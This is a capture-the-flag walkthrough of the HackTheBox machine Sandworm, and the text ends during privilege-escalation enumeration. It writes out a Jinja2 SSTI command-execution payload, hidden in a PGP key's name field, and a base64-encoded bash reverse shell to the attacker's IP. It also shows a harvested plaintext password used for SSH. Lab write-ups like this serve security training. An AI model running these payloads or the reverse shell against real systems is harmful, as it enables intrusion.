index-logo

Sandworm - HTB

walkthrough by elswix

Machine: Sandworm
Difficulty: Medium
Platform: HackTheBox
Release: Released on 06/17/2023


About Sandworm


Sandworm is a medium difficulty machine on HackTheBox. Firstly, we will exploit an SSTI vulnerability by abusing reflection when verifying signed PGP messages.


Shell as atlas (on firejail)


Thanks to the SSTI, we discovered a malicious payload to execute commands as atlas, and by utilizing a Bash Reverse Shell, we gained access to the user.


Shell as silentobserver


In the home directory of atlas, we discover credentials for the user silentobserver and we gain access to the user through SSH.


Shell as atlas


There is a cron job executed by atlas. Atlas runs a Set-UID file owned by him, and we have the privileges to hijack a library used by the binary executed by atlas. After identifying the library, we add malicious content to execute commands as atlas.


Shell as root


As atlas, we belong to the Jailer group, which has the ability to execute the Set-UID binary firejail. This version of firejail is vulnerable to CVE‑2022‑31214, which we exploit to gain root access.


Recon


First, we will conduct a port scan to discover open ports on the victim machine. For this, we will use the nmap tool:

elswix@kali$ nmap -p- --open --min-rate 10000 -n 10.10.11.218
Nmap scan report for 10.10.11.218
Host is up (0.14s latency).
Not shown: 59046 closed tcp ports (conn-refused), 6486 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
Understanding the open ports on the target system, our next step involves conducting a thorough scan to unveil the services and technologies operational across these ports.

elswix@kali$ nmap -sCV -p22,80,443 -oN fullScan 10.10.11.218

Nmap scan report for 10.10.11.218 (10.10.11.218)
Host is up (0.22s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Upon initial inspection, it becomes evident that there are two web services and an SSH service. Attempting to access the web service on port 80 triggers a redirection to HTTPS (443). Additionally, there is a domain that needs to be added to our /etc/hosts file to resolve the IP address of the target.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.218 ssa.htb


SSL Certificate Inspection


Making use of openssl, we can examine the SSL certificate on port 443:

elswix@kali$ openssl s_client -connect 10.10.11.218:443
While there may not be immediately intriguing information, it's worth noting a potential user named atlas.


Web Application


Upon accessing the website through our browser, we will see the following content:



Upon entering the contact section, we encounter information related to PGP messages:



A message with a hyperlink redirects us to the following page:




PGP


PGP (Pretty Good Privacy) is a software program developed by Phil Zimmermann in 1991, providing public-key cryptography for secure data communication. It uses a pair of keys, public and private, for encrypting and decrypting information. PGP is commonly used for encrypting emails and files. It ensures privacy by allowing users to share their public keys for encryption and maintain the secrecy of their private keys for decryption. Additionally, PGP supports digital signatures for verifying data integrity, making it a widely adopted standard for digital communication security.

This web application provides functionality for encrypting, decrypting, and validating the signing of PGP messages. Let's explore its features.

To begin, there is a section dedicated to decrypting messages:



In the encrypted text field, we need to input the PGP-encrypted message. To do this, we require the PGP Public Key associated with the encryption. Let's proceed to locate the key.



On the same page, there is a reference to where we can obtain the public key. Clicking on the hyperlink redirects us to the /pgp section:



Here, we have the PGP Public key, and I will copy it to my clipboard.

In my search for online PGP encrypters, I came across this page which allows us to encrypt any message by specifying a public key.

As an example, let's encrypt the message Hello World.



Here is the encrypted Hello World message using the provided Public Key:



Once copied, let's paste it into the Encrypted Text field:



Upon clicking on Decrypt Message, the application returns the plaintext message:



Given our knowledge that this website employs Flask in the backend and considering that older versions of Flask are susceptible to Server Side Template Injection (SSTI), we can attempt some payloads to validate this potential vulnerability.

Utilizing the same Public Key, I will encrypt the following payload obtained from HackTricks:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}


Now, let's input the PGP-encrypted message into the Encrypted Text field:



It seems that the attempt to input the SSTI PGP-encrypted message was unsuccessful. Consequently, the encryption and decryption functionality may not be exploitable at this point.


Verifying signed messages


Verifying the signature of messages involves confirming their authenticity and integrity by checking a digital signature created with a private key against the corresponding public key. This ensures that the message hasn't been tampered with and originates from the holder of the private key.

At the bottom of the page, there is an illustrative example:



Let's copy this message and input it into the Signed Text field:



Additionally, we require the public key associated with the message. Let's copy it from the /pgp section:



Upon clicking on Verify Signature, the application displays the following message:



Before testing the signing functionality on the page using the gpg tool, we need to create some keys:

elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

gpg: keybox '/home/elswix/.gnupg/pubring.kbx' created
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name:
First, it will prompt for a "Real name." I will specify elswix.

Now, it's asking for an Email Address; I will specify elswix@elswix.com:

Real name: elswix
Email address:
The following message will be displayed, and if the information is correct, we enter the character O:

Email address: elswix@elswix.com
You selected this USER-ID:
    "elswix <elswix@elswix.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
After that, simply press enter a few times until the program finishes.

Now, we need to sign a message. First, I will place some random content in a file:

elswix@kali$ echo 'This is a test' > message.txt
Now, let's generate the signed message using gpg:

elswix@kali$ gpg --clearsign --local-user elswix@elswix.com -o signed_message.txt -a message.txt
Finally, we have the signed message:

elswix@kali$ cat signed_message.txt
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

This is a test
-----BEGIN PGP SIGNATURE-----

iQHGBAEBCgAwFiEEoPY4HuyVPyH/BODA730zdsfxfbcFAmVZBhMSHGVsc3dpeEBl
bHN3aXguY29tAAoJEO99M3bH8X23xSAL/0SiywbJ6Oj2IJZaojcQhgjW22t9z7s/
RTkQv9IfXTwzUtK5o+xwkvbP2CyhL2DMJf6so/tP+fqbGSwn/EcIjnyvtVDCQNlU
rdveC2f/2M3f2Q2Uoku+N9Y/LxUPhdJ31za2L4Eizk+QP6beb6wz+JNUN5JCWyBz
4Kj0PChIIubaxn3G4vdwENqnwXnR/1+OOerAzvkc/Oqns1Ou+K+yNSohd3DguoVk
3dB8uU8FRS4Ldhmctie29LGTbNX7umjRXuXSeZPKCydzvLDNHssOtBp8G6A1qZxk
02RTmo3XGtuK33Mjp2MBwVnlKrvm9PlEoBf5DPLr9i7CWAt8luCDaUmA3mBDcdfO
TeAmUsoRnZw1ss9DkWoj312bPnti9GbvyL3Mg3RNMka7AewDXo6NJXGnij5M0fTc
9/Dowc0k2s7bt+YWR24JOh/iwA/GKpjsdneJ3vyrbVsFzjJIaKzXk4tU8evg5UIR
Ip3CfIMyfc3SX069fLAhMLjjaLGk715/Tw==
=PS98
-----END PGP SIGNATURE-----
Let's obtain our public key using the --export parameter. Remember to include the --armor parameter to obtain an ASCII text output:

elswix@kali$ gpg --export --armor elswix@elswix.com > public_key
Now, we can read the public key:

elswix@kali$ cat public_key
-----BEGIN PGP PUBLIC KEY BLOCK-----

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
3veJXTAW4UqfoAIklzEyrWYf
=CagM
-----END PGP PUBLIC KEY BLOCK-----
Let's populate the fields with the respective information.



Upon clicking on Verify Signature, the application displays the following:



It's evident that the Email and the Real Name specified during key generation are reflected in this message. Let's attempt the Server-Side Template Injection (SSTI) once again.

I will create new keys, specifying {{7*7}} as the Real Name and elswix1@elswix.com as the Email:

elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{7*7}}
Email address: elswix1@elswix.com
You selected this USER-ID:
    "{{7*7}} <elswix1@elswix.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/home/elswix/.gnupg/openpgp-revocs.d/C22982C73DE901507E5A32B4F42AD5179C0A3B69.rev'
public and secret key created and signed.

pub   rsa3072 2023-11-18 [SC] [expires: 2025-11-17]
      C22982C73DE901507E5A32B4F42AD5179C0A3B69
uid                      {{7*7}} <elswix1@elswix.com>
sub   rsa3072 2023-11-18 [E] [expires: 2025-11-17]
Let's encrypt the same message once again:

elswix@kali$ gpg --clearsign --local-user elswix1@elswix.com -o signed_message.txt -a message.txt
File 'signed_message.txt' exists. Overwrite? (y/N) y
Now, let's export the new Public Key:

elswix@kali$ gpg --export --armor elswix1@elswix.com > public_key
Now let's fill in the fields:



Upon clicking Verify Signature, it becomes apparent that we have successfully exploited an SSTI:



The mathematical operation ({{7*7}}) was interpreted and returned 49.

In PayloadsAllTheThings, there are payloads for achieving Remote Command Execution using Jinja2. I will use the following payload:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
Now, let's generate new keys, specifying this payload as the Real Name and a different email:

elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{ cycler.__init__.__globals__.os.popen('id').read() }}
Email address: elswix2@elswix.com
You selected this USER-ID:
    "{{ cycler.__init__.__globals__.os.popen('id').read() }} <elswix2@elswix.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/home/elswix/.gnupg/openpgp-revocs.d/3E46F2DF7BD37FF4F8E4A250A43894FC44028538.rev'
public and secret key created and signed.

pub   rsa3072 2023-11-18 [SC] [expires: 2025-11-17]
      3E46F2DF7BD37FF4F8E4A250A43894FC44028538
uid                      {{ cycler.__init__.__globals__.os.popen('id').read() }} <elswix2@elswix.com>
sub   rsa3072 2023-11-18 [E] [expires: 2025-11-17]
Then, let's sign the same message again:

elswix@kali$ gpg --clearsign --local-user elswix2@elswix.com -o signed_message.txt -a message.txt
File 'signed_message.txt' exists. Overwrite? (y/N) y
Don't forget to export the new public key:

elswix@kali$ gpg --export --armor elswix2@elswix.com > public_key


Upon clicking on Verify Signature, the page displays the following content:



We're now executing system-level commands on the victim machine by exploiting the SSTI vulnerability.

Executing commands in this manner can be cumbersome, so let's send a reverse shell. Given that the standard bash reverse shell contains numerous special characters, I will encode the payload in base64:

elswix@kali$ echo 'bash -i >& /dev/tcp/10.10.16.7/3001 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43LzMwMDEgMD4mMQo=
The SSTI payload will be as follows:

{{ cycler.__init__.__globals__.os.popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43LzMwMDEgMD4mMQo= | base64 -d | bash').read() }}
Once again, let's generate new keys:

elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name:
The Real Name will be as follows:

Real name: {{ cycler.__init__.__globals__.os.popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43LzMwMDEgMD4mMQo= | base64 -d | bash').read() }}
Email address: elswix3@elswix.com
After generating the keys, let's sign the message:

elswix@kali$ gpg --clearsign --local-user elswix3@elswix.com -o signed_message.txt -a message.txt
File 'signed_message.txt' exists. Overwrite? (y/N) y
Next, let's export the public key:

elswix@kali$ gpg --export --armor elswix3@elswix.com > public_key
Before sending the information, let's set up our netcat (nc) listener on port 3001:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Now, with the information entered, let's click on Verify Signature



Finally, we have obtained the reverse shell:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.218:48978.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$
We have successfully obtained a shell as the user "atlas."

It appears to be a restricted shell, as certain commands like whoami do not seem to be available:

atlas@sandworm:~$ whoami
whoami
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
atlas@sandworm:~$
We find ourselves in a constrained shell, and unfortunately, the script command is not available. Therefore, we need to explore alternative methods to upgrade our shell.

Fortunately, Python3 is available, and we can leverage the pty module to upgrade our shell:

atlas@sandworm:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:~$
Now, press Ctrl+Z to background the current shell process, and then run the following commands:

elswix@kali$ stty raw -echo;fg
atlas@sandworm:~$ export TERM=xterm
Listing the contents of the /home directory, we observe that there are two users:

atlas@sandworm:~$ ls -l /home
total 4
drwxr-xr-x 8 atlas  atlas   4096 Nov 18 16:01 atlas
dr-------- 2 nobody nogroup   40 Nov 18 11:06 silentobserver
atlas@sandworm:~$
In Atlas's home directory, the following files are present:

atlas@sandworm:~$ ls -la
total 48
drwxr-xr-x 8 atlas  atlas   4096 Nov 18 16:01 .
drwxr-xr-x 4 nobody nogroup 4096 May  4  2023 ..
lrwxrwxrwx 1 nobody nogroup    9 Nov 22  2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas  atlas    220 Nov 22  2022 .bash_logout
-rw-r--r-- 1 atlas  atlas   3771 Nov 22  2022 .bashrc
drwxrwxr-x 2 atlas  atlas   4096 Jun  6 08:49 .cache
drwxrwxr-x 3 atlas  atlas   4096 Feb  7  2023 .cargo
drwxrwxr-x 4 atlas  atlas   4096 Jan 15  2023 .config
drwx------ 4 atlas  atlas   4096 Nov 18 19:38 .gnupg
drwxrwxr-x 6 atlas  atlas   4096 Feb  6  2023 .local
-rw-r--r-- 1 atlas  atlas    807 Nov 22  2022 .profile
drwx------ 2 atlas  atlas   4096 Nov 18 16:06 .ssh
-rw------- 1 atlas  atlas    868 Nov 18 16:01 .viminfo
atlas@sandworm:~$
Within the .config directory, the following content is observed:

atlas@sandworm:~$ cd .config
atlas@sandworm:~/.config$ ls -la
total 12
drwxrwxr-x 4 atlas  atlas   4096 Jan 15  2023 .
drwxr-xr-x 8 atlas  atlas   4096 Nov 18 16:01 ..
dr-------- 2 nobody nogroup   40 Nov 18 11:06 firejail
drwxrwxr-x 3 nobody atlas   4096 Jan 15  2023 httpie
atlas@sandworm:~/.config$
It appears that our container operates within a firejail sandbox.

Upon investigating the httpie directory, I discovered the following file:

atlas@sandworm:~/.config$ cd httpie/sessions/localhost_5000/
admin.json
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ ls -l
total 4
-rw-r--r-- 1 nobody atlas 611 May  4  2023 admin.json
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$
Upon listing the contents, we acquire credentials for the user silentobserver:

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json 
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$
Let's try to establish a shell as silentobserver using these credentials through the SSH service:

elswix@kali$ sshpass -p 'quietLiketheWind22' ssh silentobserver@10.10.11.218
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Nov 18 08:58:19 PM UTC 2023

  System load:           0.02978515625
  Usage of /:            78.1% of 11.65GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             245
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.218
  IPv6 address for eth0: dead:beef::250:56ff:feb9:40b8


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Nov 18 16:04:32 2023 from 10.10.16.7
silentobserver@sandworm:~$
We have successfully gained access to Sandworm as the user silentobserver.


Shell as atlas


It appears that silentobserver does not belong to any specific groups:

silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
Upon inspecting the sudo privileges of silentobserver, it is evident that the user does not have the ability to execute any command with sudo privileges:

silentobserver@sandworm:~$ sudo -l
[sudo] password for silentobserver: 
Sorry, user silentobserver may not run sudo on localhost.
silentobserver@sandworm:~$
No notable capabilities are identified:

silentobserver@sandworm:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
silentobserver@sandworm:~$
When listing Set-UID files on the system, the following files were identified:

silentobserver@sandworm:~$ find / -perm -4000 2>/dev/null
/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3
silentobserver@sandworm:~$
Here, we encounter interesting elements. Initially, let's attempt to execute firejail:

silentobserver@sandworm:~$ /usr/local/bin/firejail
-bash: /usr/local/bin/firejail: Permission denied
silentobserver@sandworm:~$
It returns a Permission Denied error. Upon inspecting its privileges, it becomes apparent that membership in the Jailer group is required to execute this binary:

silentobserver@sandworm:~$ ls -l /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29  2022 /usr/local/bin/firejail
silentobserver@sandworm:~$
Another intriguing Set-UID file is present, named tipnet, and it appears to be a compiled binary:

silentobserver@sandworm:~$ ls -l /opt/tipnet/target/debug/tipnet
-rwsrwxr-x 2 atlas atlas 59087648 Nov 18 16:04 /opt/tipnet/target/debug/tipnet
silentobserver@sandworm:~$ file /opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/tipnet: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a6eafbd277ceb248bd47f806f7677f57fb9d7dd, for GNU/Linux 3.2.0, with debug_info, not stripped
Let's execute tipnet:

silentobserver@sandworm:~$ /opt/tipnet/target/debug/tipnet

             ,,                                      
MMP""MM""YMM db          `7MN.   `7MF'         mm    
P'   MM   `7               MMN.    M           MM    
     MM    `7MM `7MMpdMAo. M YMb   M  .gP"Ya mmMMmm  
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM    
     MM      MM   MM    M8 M   `MM.M 8M""""""  MM    
     MM      MM   MM   ,AP M     YMM YM.    ,  MM    
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo 
                  MM                                 
                .JMML.                               


Select mode of usage:
a) Upstream 
b) Regular (WIP)
c) Emperor (WIP)
d) SQUARE (WIP)
e) Refresh Indeces
There are five options, with only options 'a' and 'e' functioning. Let's select option 'a':

,,                                      
MMP""MM""YMM db          `7MN.   `7MF'         mm    
P'   MM   `7               MMN.    M           MM    
     MM    `7MM `7MMpdMAo. M YMb   M  .gP"Ya mmMMmm  
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM    
     MM      MM   MM    M8 M   `MM.M 8M""""""  MM    
     MM      MM   MM   ,AP M     YMM YM.    ,  MM    
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo 
                  MM                                 
                .JMML.                               


Select mode of usage:
a) Upstream 
b) Regular (WIP)
c) Emperor (WIP)
d) SQUARE (WIP)
e) Refresh Indeces
a

[+] Upstream selected
Enter keywords to perform the query:
test
Justification for the search:
test
[2022-03-22 22:06:13] 104.121.74.33 ===> 201.34.89.21 | Did you see the latest episode of Game of Thrones? It was so good!
silentobserver@sandworm:~$
There doesn't seem to be anything noteworthy in the output. To gain a better understanding of how it works, let's examine its directories:

silentobserver@sandworm:/opt/tipnet$ ls -la
total 136
drwxr-xr-x 5 root  atlas  4096 Jun  6 11:49 .
drwxr-xr-x 4 root  root   4096 Nov 18 21:28 ..
-rw-rw-r-- 1 atlas atlas 57098 Nov 18 21:28 access.log
-rw-r--r-- 1 root  atlas 46161 May  4  2023 Cargo.lock
-rw-r--r-- 1 root  atlas   288 May  4  2023 Cargo.toml
drwxr-xr-- 6 root  atlas  4096 Jun  6 11:49 .git
-rwxr-xr-- 1 root  atlas     8 Feb  8  2023 .gitignore
drwxr-xr-x 2 root  atlas  4096 Jun  6 11:49 src
drwxr-xr-x 3 root  atlas  4096 Jun  6 11:49 target
silentobserver@sandworm:/opt/tipnet$
It appears to be a Git repository, and based on the listed files, it seems to be a Rust project.

Upon listing the contents of the /opt directory, another project is discovered:

silentobserver@sandworm:/opt/tipnet/src$ ls -l /opt
total 8
drwxr-xr-x 3 root atlas 4096 May  4  2023 crates
drwxr-xr-x 5 root atlas 4096 Jun  6 11:49 tipnet
silentobserver@sandworm:/opt/tipnet/src$
Another project named logger is present:

silentobserver@sandworm:/opt/tipnet/src$ cd /opt/crates/
silentobserver@sandworm:/opt/crates$ ls -la
total 12
drwxr-xr-x 3 root  atlas          4096 May  4  2023 .
drwxr-xr-x 4 root  root           4096 Nov 18 21:34 ..
drwxr-xr-x 5 atlas silentobserver 4096 May  4  2023 logger
silentobserver@sandworm:/opt/crates$
It is also a Rust project, but in this case, we have write privileges:

silentobserver@sandworm:/opt/crates/logger$ ls -la
total 40
drwxr-xr-x 5 atlas silentobserver  4096 May  4  2023 .
drwxr-xr-x 3 root  atlas           4096 May  4  2023 ..
-rw-r--r-- 1 atlas silentobserver 11644 May  4  2023 Cargo.lock
-rw-r--r-- 1 atlas silentobserver   190 May  4  2023 Cargo.toml
drwxrwxr-x 6 atlas silentobserver  4096 May  4  2023 .git
-rw-rw-r-- 1 atlas silentobserver    20 May  4  2023 .gitignore
drwxrwxr-x 2 atlas silentobserver  4096 May  4  2023 src
drwxrwxr-x 3 atlas silentobserver  4096 May  4  2023 target
silentobserver@sandworm:/opt/crates/logger$
Now, I will look for tasks being executed by other users. To achieve this, I will utilize pspy. I downloaded the pspy64 release version and uploaded it to the victim machine.

After waiting patiently, a cron job was executed:

The user "atlas" is compiling the Rust project tipnet using Cargo. Let's explore how we can exploit this to gain access as "atlas."

Upon inspecting the source code of tipnet, it was discovered that logger is being executed:

silentobserver@sandworm:/opt/tipnet/src$ cat main.rs | grep logger
extern crate logger;
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
    logger::log(username, keywords.as_str().trim(), justification.as_str());
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
silentobserver@sandworm:/opt/tipnet/src$
